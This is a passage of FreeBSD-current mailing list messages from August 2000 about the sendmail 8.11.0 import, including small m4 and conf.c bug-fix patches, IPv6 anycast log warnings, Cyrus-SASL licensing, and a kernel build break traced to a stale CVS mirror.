(PDT) (envelope-from jdp@polstra.com) Date: Sun, 13 Aug 2000 10:24:57 -0700 (PDT) Message-Id: <200008131724.KAA01627@vashon.polstra.com> To: current@freebsd.org Reply-To: current@freebsd.org Subject: Re: Build breakage (was: fail to compile kernel...) In-Reply-To: <14742.15675.412839.269577@guru.mired.org> References: <14742.14082.837564.871879@guru.mired.org> <200008130553.XAA06673@harmony.village.org> <14742.15675.412839.269577@guru.mired.org> Organization: Polstra & Co., Seattle, WA Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article <14742.15675.412839.269577@guru.mired.org>, Mike Meyer wrote: > Won't the 'cvs diff' command tell you about such things? No, but "cvs -nq update" will, and it's a lot faster too. John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Disappointment is a good sign of basic intelligence." -- Chögyam Trungpa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 10:43:11 2000 Delivered-To: freebsd-current@freebsd.org Received: from peace.mahoroba.org (peace.calm.imasy.or.jp [202.227.26.34]) by hub.freebsd.org (Postfix) with ESMTP id 8E0AC37B5CE; Sun, 13 Aug 2000 10:43:05 -0700 (PDT) (envelope-from ume@mahoroba.org) Received: from localhost (IDENT:JakmZiPeA0xTOnVjJ5d7rgZEpLqWHXvMjhNcUsLwCNx9RF7xB/nhVDM6id7DwIlW@localhost [::1]) (authenticated) by peace.mahoroba.org (8.11.0/8.11.0/peace) with ESMTP/inet6 id e7DHg6b25083; Mon, 14 Aug 2000 02:42:06 +0900 (JST) (envelope-from ume@mahoroba.org) Date: Mon, 14 Aug 2000 02:42:03 +0900 (JST) Message-Id: <20000814.024203.48797577.ume@mahoroba.org> To: jhay@icomtek.co.za Cc: gshapiro@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: HEADS UP: sendmail updated from 8.9.3 to 8.11.0 in -current From: Hajimu UMEMOTO In-Reply-To: <200008131724.e7DHO9l17566@zibbi.mikom.csir.co.za> References: <20000813.235732.59463473.ume@mahoroba.org> <200008131724.e7DHO9l17566@zibbi.mikom.csir.co.za> X-Mailer: xcite1.20> Mew version 1.95b38 on Emacs 20.6 / Mule 4.0 =?iso-2022-jp?B?KBskQjJWMWMbKEIp?= X-PGP-Public-Key: http://www.imasy.org/~ume/publickey.asc X-PGP-Fingerprint: 6B 0C 53 FC 5D D0 37 91 05 D0 B3 EF 36 9B 6A BC X-URL: http://www.imasy.org/~ume/ X-OS: FreeBSD 5.0-CURRENT Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >>>>> On Sun, 13 Aug 2000 19:24:09 +0200 (SAT) >>>>> John Hay said: > BTW, I love to see > > DAEMON_OPTIONS(`Name=MTA-v4, Family=inet')dnl > DAEMON_OPTIONS(`Name=MTA-v6, Family=inet6')dnl > jhay> Yes that together with "CFLAGS+=-DNETINET6" in the sendmail/Makefile jhay> and I have a working ipv6 mailer going. Yeh! I'm looking forward to see it. jhay> There is just an annoying message because of the anycast jhay> address: jhay> Aug 13 16:38:47 angel sendmail[11947]: gethostbyaddr(3ffe:2900:fffa:4::) failed: 1 jhay> Is that because of a configuration error or just because sendmail needs jhay> to check for anycast addresses? The machine is also a router between a jhay> gif tunnel and this interface. My interface is configured like this: jhay> angel# ifconfig de0 jhay> de0: flags=8843 mtu 1500 jhay> inet 146.64.84.9 netmask 0xffffff00 broadcast 146.64.84.255 jhay> inet6 fe80::200:e8ff:fe15:dbed%de0 prefixlen 64 scopeid 0x1 jhay> inet6 3ffe:2900:fffa:4:200:e8ff:fe15:dbed prefixlen 64 jhay> inet6 3ffe:2900:fffa:4:: prefixlen 64 anycast jhay> ether 00:00:e8:15:db:ed jhay> media: 10baseT/UTP status: active jhay> supported media: 100baseTX 100baseTX 10base2/BNC 10baseT/UTP 10baseT/UTP I don't see any configuration problem here. As that machine is a router, anycast address has been assigned. (RFC2373) I simply registered PTR RRs of my anycast addresses into DNS. It may be good idea that sendmail checks for anycast address. -- Hajimu UMEMOTO @ Internet Mutual Aid Society Yokohama, Japan ume@mahoroba.org ume@bisd.hitachi.co.jp ume@FreeBSD.org http://www.imasy.org/~ume/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 10:50:43 2000 Delivered-To: freebsd-current@freebsd.org Received: from infidel.boolean.net (router.boolean.net [198.144.206.49]) by hub.freebsd.org (Postfix) with ESMTP id B854B37C0F0; Sun, 13 Aug 2000 10:50:36 -0700 (PDT) (envelope-from Kurt@OpenLDAP.org) Received: from gypsy.OpenLDAP.org (gypsy.boolean.net [198.144.202.243]) by infidel.boolean.net (8.9.3/8.9.3) with ESMTP id RAA22171; Sun, 13 Aug 2000 17:50:15 GMT (envelope-from Kurt@OpenLDAP.org) Message-Id: <4.3.2.7.0.20000813104742.00b028b0@router.boolean.net> X-Sender: guru@router.boolean.net X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Sun, 13 Aug 2000 10:48:10 -0700 To: Neil Blakey-Milner From: "Kurt D. Zeilenga" Subject: Re: HEADS UP: sendmail updated from 8.9.3 to 8.11.0 in -current Cc: Johan Granlund , Gregory Neil Shapiro , "Scot W. Hetzel" , freebsd-current@FreeBSD.ORG In-Reply-To: <20000813185322.A78063@mithrandr.moria.org> References: <4.3.2.7.0.20000813091232.00af8800@router.boolean.net> <14741.55147.202130.156007@horsey.gshapiro.net> <4.3.2.7.0.20000813091232.00af8800@router.boolean.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 06:53 PM 8/13/00 +0200, Neil Blakey-Milner wrote: >On Sun 2000-08-13 (09:20), Kurt D. Zeilenga wrote: >> >A make.conf knob to use a userinstalled library may create problems with >> >different versions of Cysus-SASL. I had some problems with that when >> >uppgrading my mailservers to Sendmail 8.10. >> >> I'd recommend bringing Cyrus-SASL into the base system eventually >> under the same rational used to bring OpenSSL in. > >What are the license issues on this? None worse than those associated with OpenSSL. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 10:59:54 2000 Delivered-To: freebsd-current@freebsd.org Received: from ns1.sunesi.net (ns1.sunesi.net [196.15.192.194]) by hub.freebsd.org (Postfix) with ESMTP id 99F8437B72F; Sun, 13 Aug 2000 10:59:47 -0700 (PDT) (envelope-from nbm@sunesi.net) Received: from nbm by ns1.sunesi.net with local (Exim 3.03 #1) id 13O22m-000KVL-00; Sun, 13 Aug 2000 19:59:32 +0200 Date: Sun, 13 Aug 2000 19:59:32 +0200 From: Neil Blakey-Milner To: "Kurt D. Zeilenga" Cc: Johan Granlund , Gregory Neil Shapiro , "Scot W. Hetzel" , freebsd-current@FreeBSD.ORG Subject: Re: HEADS UP: sendmail updated from 8.9.3 to 8.11.0 in -current Message-ID: <20000813195932.A78743@mithrandr.moria.org> References: <4.3.2.7.0.20000813091232.00af8800@router.boolean.net> <14741.55147.202130.156007@horsey.gshapiro.net> <20000813185322.A78063@mithrandr.moria.org> <4.3.2.7.0.20000813104742.00b028b0@router.boolean.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <4.3.2.7.0.20000813104742.00b028b0@router.boolean.net>; from Kurt@OpenLDAP.org on Sun, Aug 13, 2000 at 10:48:10AM -0700 Organization: Sunesi Clinical Systems X-Operating-System: FreeBSD 3.3-RELEASE i386 X-URL: http://rucus.ru.ac.za/~nbm/ Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun 2000-08-13 (10:48), Kurt D. Zeilenga wrote: > At 06:53 PM 8/13/00 +0200, Neil Blakey-Milner wrote: > >On Sun 2000-08-13 (09:20), Kurt D. Zeilenga wrote: > >> >A make.conf knob to use a userinstalled library may create problems with > >> >different versions of Cysus-SASL. I had some problems with that when > >> >uppgrading my mailservers to Sendmail 8.10. > >> > >> I'd recommend bringing Cyrus-SASL into the base system eventually > >> under the same rational used to bring OpenSSL in. > > > >What are the license issues on this? > > None worse than those associated with OpenSSL. Ah, it seems to be a simplistic BSD-like license. For a second I thought it might be a non-commercial one, like cyrus-imapd has in some areas. OpenSSL is slightly more structured - Apache-like BSD license. So at least there won't be any insane license-wars over it. Neil -- Neil Blakey-Milner Sunesi Clinical Systems nbm@mithrandr.moria.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 11: 2:56 2000 Delivered-To: freebsd-current@freebsd.org Received: from gidora.zeta.org.au (gidora.zeta.org.au [203.26.10.25]) by hub.freebsd.org (Postfix) with SMTP id 7F2D237B7E2 for ; Sun, 13 Aug 2000 11:02:50 -0700 (PDT) (envelope-from bde@zeta.org.au) Received: (qmail 20439 invoked from network); 13 Aug 2000 18:02:47 -0000 Received: from unknown (HELO bde.zeta.org.au) (203.2.228.102) by gidora.zeta.org.au with SMTP; 13 Aug 2000 18:02:47 -0000 Date: Mon, 14 Aug 2000 04:02:42 +1000 (EST) From: Bruce Evans X-Sender: bde@besplex.bde.org To: current@FreeBSD.ORG Subject: Re: Build breakage (was: fail to compile kernel...) In-Reply-To: <200008131724.KAA01627@vashon.polstra.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 13 Aug 2000, John Polstra wrote: > In article <14742.15675.412839.269577@guru.mired.org>, > Mike Meyer wrote: > > > Won't the 'cvs diff' command tell you about such things? > > No, but "cvs -nq update" will, and it's a lot faster too. I normally use that, but "cvs status | grep Status" may be better (faster?). "cvs -nq update" is not as good as it used to be. It now prints noise about merging deltas, so I actually normally use "cvs -nq update | grep -v ^M". Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 11:39:41 2000 Delivered-To: freebsd-current@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 542) id 2F03A37B6B3; Sun, 13 Aug 2000 11:39:30 -0700 (PDT) Date: Sun, 13 Aug 2000 11:39:30 -0700 From: "Andrey A. Chernov" To: gshapiro@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: New sendmail: junk characters in header Message-ID: <20000813113929.A80466@freebsd.org> Mime-Version: 1.0 Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 8bit X-Mailer: Mutt 0.95.4i Organization: Biomechanoid Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG To see the bug, just send any mail to yourself. Received: (from ache@localhost) by nagual.pp.ru (8.11.0/8.11.0) id e7DIV4a34899 for ache@nagual.pp.ru; Sun, 13 Aug 2000 22:31:04 +0400 (MSD)?g ^^^^^ (envelope-from ache)œ ^^^^^^^ -- Andrey A. Chernov http://ache.pp.ru/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 11:46:32 2000 Delivered-To: freebsd-current@freebsd.org Received: from horsey.gshapiro.net (horsey.gshapiro.net [209.220.147.178]) by hub.freebsd.org (Postfix) with ESMTP id B957337B6D6; Sun, 13 Aug 2000 11:46:24 -0700 (PDT) (envelope-from gshapiro@gshapiro.net) Received: (from gshapiro@localhost) by horsey.gshapiro.net (8.11.0/8.11.0) id e7DIkM035248; Sun, 13 Aug 2000 11:46:22 -0700 (PDT) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Message-ID: <14742.60670.617198.471731@horsey.gshapiro.net> Date: Sun, 13 Aug 2000 11:46:22 -0700 (PDT) From: Gregory Neil Shapiro To: "Andrey A. Chernov" Cc: freebsd-current@FreeBSD.ORG Subject: Re: New sendmail: junk characters in header In-Reply-To: <20000813113929.A80466@freebsd.org> References: <20000813113929.A80466@freebsd.org> X-Mailer: VM 6.75 under 21.2 (beta35) "Nike" XEmacs Lucid Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG ache> To see the bug, just send any mail to yourself. ache> Received: (from ache@localhost) ache> by nagual.pp.ru (8.11.0/8.11.0) id e7DIV4a34899 ache> for ache@nagual.pp.ru; Sun, 13 Aug 2000 22:31:04 +0400 (MSD)?g ache> ^^^^^ ache> (envelope-from ache)=9C ache> ^^^^^^^ Thanks for the report, fixed with the following patch: Index: cfhead.m4 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /home/ncvs/src/contrib/sendmail/cf/m4/cfhead.m4,v retrieving revision 1.4 diff -u -u -r1.4 cfhead.m4 --- cfhead.m4 2000/08/12 22:19:05 1.4 +++ cfhead.m4 2000/08/13 18:45:51 @@ -213,7 +213,7 @@ define(`_REC_FULL_AUTH_', `$.$?{auth_type}(authenticated as ${auth_authe= n} $?{auth_author}for ${auth_author} $.with ${auth_type}') define(`_REC_HDR_', `$?sfrom $s $.$?_($?s$|from $.$_)') define(`_REC_END_', `for $u; $|; - $.$b?g + $.$b$?g (envelope-from $g)$.') define(`_REC_TLS_', `(using ${tls_version} with cipher ${cipher} (${ciph= er_bits} bits) verified ${verify})$.$?u') define(`_REC_BY_', `$.by $j ($v/$Z)$?r with $r$. id $i$?{tls_version}') To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 11:47:27 2000 Delivered-To: freebsd-current@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 542) id D31AC37B770; Sun, 13 Aug 2000 11:47:25 -0700 (PDT) Date: Sun, 13 Aug 2000 11:47:25 -0700 From: "Andrey A. Chernov" To: gshapiro@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: New sendmail: junk characters in header Message-ID: <20000813114725.A83792@freebsd.org> References: <20000813113929.A80466@freebsd.org> Mime-Version: 1.0 Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 8bit X-Mailer: Mutt 0.95.4i In-Reply-To: <20000813113929.A80466@freebsd.org>; from ache@freebsd.org on Sun, Aug 13, 2000 at 11:39:30AM -0700 Organization: Biomechanoid Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, Aug 13, 2000 at 11:39:30AM -0700, Andrey A. Chernov wrote: > To see the bug, just send any mail to yourself. > > Received: (from ache@localhost) > by nagual.pp.ru (8.11.0/8.11.0) id e7DIV4a34899 > for ache@nagual.pp.ru; Sun, 13 Aug 2000 22:31:04 +0400 (MSD)?g > ^^^^^ > (envelope-from ache)œ > ^^^^^^^ It is stable effect. It seems that something wrong in "$.$b?g" macro for the first case and something wrong for "(envelope-from $g)$." in second one. -- Andrey A. Chernov http://ache.pp.ru/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 11:55:17 2000 Delivered-To: freebsd-current@freebsd.org Received: from horsey.gshapiro.net (horsey.gshapiro.net [209.220.147.178]) by hub.freebsd.org (Postfix) with ESMTP id 7906937B955 for ; Sun, 13 Aug 2000 11:55:14 -0700 (PDT) (envelope-from gshapiro@gshapiro.net) Received: (from gshapiro@localhost) by horsey.gshapiro.net (8.11.0/8.11.0) id e7DIt5u35331; Sun, 13 Aug 2000 11:55:05 -0700 (PDT) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14742.61193.437465.991098@horsey.gshapiro.net> Date: Sun, 13 Aug 2000 11:55:05 -0700 (PDT) From: Gregory Neil Shapiro To: Hajimu UMEMOTO Cc: freebsd-current@FreeBSD.ORG Subject: Re: HEADS UP: sendmail updated from 8.9.3 to 8.11.0 in -current In-Reply-To: <20000813.235732.59463473.ume@mahoroba.org> References: <14741.53848.763058.787717@horsey.gshapiro.net> <20000813.235732.59463473.ume@mahoroba.org> X-Mailer: VM 6.75 under 21.2 (beta35) "Nike" XEmacs Lucid Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG ume> Beacuse default confCW_FILE doesn't have -o option, freebsd.mc should ume> have "define(`confCW_FILE', `-o /etc/mail/local-host-names)dnl" line. ume> Unless this, /etc/mail/local-host-names will be mandatory. Good point. I've fixed this. ume> BTW, I love to see ume> DAEMON_OPTIONS(`Name=MTA-v4, Family=inet')dnl ume> DAEMON_OPTIONS(`Name=MTA-v6, Family=inet6')dnl ume> lines. But, I know this requires IPv6 enabled kernel and to do this ume> is difficult. NetBSD ships two version of sendmail.cf. Adding IPv6 support to the sendmail binary is high on my list of things to do. You are correct, configuration support is a more difficult issue. I'm open to suggestions. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 11:58:53 2000 Delivered-To: freebsd-current@freebsd.org Received: from mout2.silyn-tek.de (mout2.silyn-tek.de [194.25.165.70]) by hub.freebsd.org (Postfix) with ESMTP id 3374237BD90 for ; Sun, 13 Aug 2000 11:58:46 -0700 (PDT) (envelope-from alex@big.endian.de) Received: from [192.168.32.33] (helo=mx1.silyn-tek.de) by mout2.silyn-tek.de with esmtp (Exim 3.13 #1) id 13O2y3-0002YX-00; Sun, 13 Aug 2000 20:58:43 +0200 Received: from p3ee1c392.dip0.t-ipconnect.de ([62.225.195.146] helo=neutron.cichlids.com) by mx1.silyn-tek.de with esmtp (Exim 3.13 #1) id 13O2y2-0000Ea-00; Sun, 13 Aug 2000 20:58:42 +0200 Received: from cichlids.cichlids.com (cichlids.cichlids.com [192.168.0.10]) by neutron.cichlids.com (Postfix) with ESMTP id 43128AB91; Sun, 13 Aug 2000 20:59:18 +0200 (CEST) Received: by cichlids.cichlids.com (Postfix, from userid 1001) id BA4DB14BE0; Sun, 13 Aug 2000 20:58:46 +0200 (CEST) Date: Sun, 13 Aug 2000 20:58:46 +0200 From: Alexander Langer To: Ustimenko Semen Cc: current@FreeBSD.ORG Subject: Re: mount_hpfs not built by default Message-ID: <20000813205846.A25263@cichlids.cichlids.com> Mail-Followup-To: Ustimenko Semen , current@FreeBSD.ORG References: <20000812124522.A3026@cichlids.cichlids.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: ; from semen@iclub.nsu.ru on Sun, Aug 13, 2000 at 10:39:45PM +0700 X-PGP-Fingerprint: 44 28 CA 4C 46 5B D3 A8 A8 E3 BA F3 4E 60 7D 7F X-PGP-at: finger alex@big.endian.de X-Verwirrung: Dieser Header dient der allgemeinen Verwirrung. Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Thus spake Ustimenko Semen (semen@iclub.nsu.ru): > I think there are too few people who really use HPFS. So it That's not a good reason :) > I don't have HPFS partitions any more, so i even can't verify if > it works. Hmm. One should test it. I can't, unfortunately. Alex -- cat: /home/alex/.sig: No such file or directory To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 12: 6:24 2000 Delivered-To: freebsd-current@freebsd.org Received: from horsey.gshapiro.net (horsey.gshapiro.net [209.220.147.178]) by hub.freebsd.org (Postfix) with ESMTP id 0C5AE37B955; Sun, 13 Aug 2000 12:06:21 -0700 (PDT) (envelope-from gshapiro@gshapiro.net) Received: (from gshapiro@localhost) by horsey.gshapiro.net (8.11.0/8.11.0) id e7DJ64I35404; Sun, 13 Aug 2000 12:06:04 -0700 (PDT) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14742.61852.184466.543141@horsey.gshapiro.net> Date: Sun, 13 Aug 2000 12:06:04 -0700 (PDT) From: Gregory Neil Shapiro To: John Hay Cc: ume@mahoroba.org (Hajimu UMEMOTO), gshapiro@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: sendmail updated from 8.9.3 to 8.11.0 in -current In-Reply-To: <200008131724.e7DHO9l17566@zibbi.mikom.csir.co.za> References: <20000813.235732.59463473.ume@mahoroba.org> <200008131724.e7DHO9l17566@zibbi.mikom.csir.co.za> X-Mailer: VM 6.75 under 21.2 (beta35) "Nike" XEmacs Lucid Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG jhay> There is just an annoying message because of the anycast address: jhay> Aug 13 16:38:47 angel sendmail[11947]: gethostbyaddr(3ffe:2900:fffa:4::) failed: 1 jhay> Is that because of a configuration error or just because sendmail needs jhay> to check for anycast addresses? sendmail tries to get the hostnames associated with all of it's interfaces to populate $=w (local host names). The best fix would be to create an entry in DNS for that address. Perhaps sendmail shouldn't bother warning on multicast addresses. Can you see if this patch makes the error go away? Index: conf.c =================================================================== RCS file: /cvs/sendmail/conf.c,v retrieving revision 8.646.2.2.2.26 diff -u -u -r8.646.2.2.2.26 conf.c --- conf.c 2000/08/12 18:35:38 8.646.2.2.2.26 +++ conf.c 2000/08/13 19:03:51 @@ -5282,7 +5282,8 @@ if (LogLevel > 3 && #if NETINET6 !(sa->sa.sa_family == AF_INET6 && - IN6_IS_ADDR_LINKLOCAL(&sa->sin6.sin6_addr)) && + (IN6_IS_ADDR_LINKLOCAL(&sa->sin6.sin6_addr) || + IN6_IS_ADDR_MULTICAST(&sa->sin6.sin6_addr)) && #endif /* NETINET6 */ TRUE) sm_syslog(LOG_WARNING, NOQID, To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 12:15:23 2000 Delivered-To: freebsd-current@freebsd.org Received: from horsey.gshapiro.net (horsey.gshapiro.net [209.220.147.178]) by hub.freebsd.org (Postfix) with ESMTP id 7C5C737B718 for ; Sun, 13 Aug 2000 12:15:20 -0700 (PDT) (envelope-from gshapiro@gshapiro.net) Received: (from gshapiro@localhost) by horsey.gshapiro.net (8.11.0/8.11.0) id e7DJFKt40739; Sun, 13 Aug 2000 12:15:20 -0700 (PDT) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14742.62407.961290.173820@horsey.gshapiro.net> Date: Sun, 13 Aug 2000 12:15:19 -0700 (PDT) From: Gregory Neil Shapiro To: John Hay , ume@mahoroba.org (Hajimu UMEMOTO), freebsd-current@FreeBSD.ORG Subject: Re: sendmail updated from 8.9.3 to 8.11.0 in -current In-Reply-To: <14742.61852.184466.543141@horsey.gshapiro.net> References: <20000813.235732.59463473.ume@mahoroba.org> <200008131724.e7DHO9l17566@zibbi.mikom.csir.co.za> <14742.61852.184466.543141@horsey.gshapiro.net> X-Mailer: VM 6.75 under 21.2 (beta35) "Nike" XEmacs Lucid Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG gshapiro> Can you see if this patch makes the error go away? gshapiro> Index: conf.c gshapiro> =================================================================== A better patch: Index: conf.c =================================================================== RCS file: /cvs/sendmail/conf.c,v retrieving revision 8.646.2.2.2.26 diff -u -u -r8.646.2.2.2.26 conf.c --- conf.c 2000/08/12 18:35:38 8.646.2.2.2.26 +++ conf.c 2000/08/13 19:14:14 @@ -5282,7 +5282,8 @@ if (LogLevel > 3 && #if NETINET6 !(sa->sa.sa_family == AF_INET6 && - IN6_IS_ADDR_LINKLOCAL(&sa->sin6.sin6_addr)) && + (IN6_IS_ADDR_LINKLOCAL(&sa->sin6.sin6_addr) || + IN6_IS_ADDR_MULTICAST(&sa->sin6.sin6_addr))) && #endif /* NETINET6 */ TRUE) sm_syslog(LOG_WARNING, NOQID, To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 12:29: 0 2000 Delivered-To: freebsd-current@freebsd.org Received: from zibbi.mikom.csir.co.za (zibbi.mikom.csir.co.za [146.64.24.58]) by hub.freebsd.org (Postfix) with ESMTP id AF89A37B6A7; Sun, 13 Aug 2000 12:28:41 -0700 (PDT) (envelope-from jhay@zibbi.mikom.csir.co.za) Received: (from jhay@localhost) by zibbi.mikom.csir.co.za (8.10.1/8.10.1) id e7DJSKg20282; Sun, 13 Aug 2000 21:28:20 +0200 (SAT) From: John Hay Message-Id: <200008131928.e7DJSKg20282@zibbi.mikom.csir.co.za> Subject: Re: sendmail updated from 8.9.3 to 8.11.0 in -current In-Reply-To: <14742.61852.184466.543141@horsey.gshapiro.net> from Gregory Neil Shapiro at "Aug 13, 2000 12:06:04 pm" To: gshapiro@gshapiro.net (Gregory Neil Shapiro) Date: Sun, 13 Aug 2000 21:28:20 +0200 (SAT) Cc: jhay@icomtek.co.za (John Hay), ume@mahoroba.org (Hajimu UMEMOTO), gshapiro@FreeBSD.ORG, freebsd-current@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > jhay> There is just an annoying message because of the anycast address: > > jhay> Aug 13 16:38:47 angel sendmail[11947]: gethostbyaddr(3ffe:2900:fffa:4::) failed: 1 > > jhay> Is that because of a configuration error or just because sendmail needs > jhay> to check for anycast addresses? > > sendmail tries to get the hostnames associated with all of it's interfaces > to populate $=w (local host names). The best fix would be to create an > entry in DNS for that address. Perhaps sendmail shouldn't bother warning > on multicast addresses. Can you see if this patch makes the error go away? > I tried your second patch, but it didn't make a difference. I'll take the easy way out for now and add a DNS entry like you and ume suggested. :-) I looked in ifconfig to see how they did the anycast detection and you basically have to open another socket into the kernel (this time an AF_INET6 one) and get the ipv6 flags and check them. Maybe too much work, except if it is going to bother too many people. :-/ John -- John Hay -- John.Hay@icomtek.csir.co.za To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 13: 8: 4 2000 Delivered-To: freebsd-current@freebsd.org Received: from guru.mired.org (zoom2-013.telepath.com [216.14.2.13]) by hub.freebsd.org (Postfix) with SMTP id 3CB8A37B8EC for ; Sun, 13 Aug 2000 13:07:58 -0700 (PDT) (envelope-from mwm@mired.org) Received: (qmail 73129 invoked by uid 100); 13 Aug 2000 20:07:56 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14743.28.213436.747232@guru.mired.org> Date: Sun, 13 Aug 2000 15:07:56 -0500 (CDT) To: Warner Losh Cc: Mike Meyer , freebsd-current@FreeBSD.ORG Subject: Re: Build breakage (was: fail to compile kernel...) In-Reply-To: <200008131542.JAA08725@harmony.village.org> References: <14742.23628.110336.924637@guru.mired.org> <14742.15675.412839.269577@guru.mired.org> <14742.14082.837564.871879@guru.mired.org> <200008130553.XAA06673@harmony.village.org> <200008130714.BAA07153@harmony.village.org> <200008131542.JAA08725@harmony.village.org> X-Mailer: VM 6.72 under 21.1 (patch 10) "Capitol Reef" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Warner Losh writes: > So we're down to stale sources at one of the mirrors, I think. My > kernel tree here is completely clean and checked out from the my local > cvs tree. Where do you get your sources from? What revision of > src/sys/dev/pccard/card_if.m do you have? The following changed fixes > it: > revision 1.7 > date: 2000/08/11 15:51:51; author: imp; state: Exp; lines: +8 -1 > Define get_memory_offset method > Which is Friday Morning MST (the time is GMT). Plenty of time for the > mirrors to be updated. Yes, the version I have is out of date. It came from cvsup5.freebsd.org over 24 hours after the commit. > : That may be true - which would mean it wouldn't be any better than > : FreeBSD has been for the past few months. Or any worse. On the other > : hand, breaking the build on other projects I've worked on was > : considered a major blunder. That doesn't seem to be the case here. > That is the case here. Believe me. But sitting around pointing > fingers after the problem has been fixed is usually not done. Again, I didn't mean to point fingers or complain about any specific person. I've been sitting on this for most of the last week; your change just happened to be the one that caused the problem this time. Pointing fingers isn't the difference I was talking about. It's more in the attitude after the fact. On FreeBSD, it's "Ok, I fixed it." Elsewhere, people apologize for breaking the bulid. To: jhay@icomtek.co.za Cc: gshapiro@gshapiro.net, gshapiro@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: sendmail updated from 8.9.3 to 8.11.0 in -current From: Hajimu UMEMOTO In-Reply-To: <200008131928.e7DJSKg20282@zibbi.mikom.csir.co.za> References: <14742.61852.184466.543141@horsey.gshapiro.net> <200008131928.e7DJSKg20282@zibbi.mikom.csir.co.za> X-Mailer: xcite1.20> Mew version 1.95b38 on Emacs 20.6 / Mule 4.0 =?iso-2022-jp?B?KBskQjJWMWMbKEIp?= X-PGP-Public-Key: http://www.imasy.org/~ume/publickey.asc 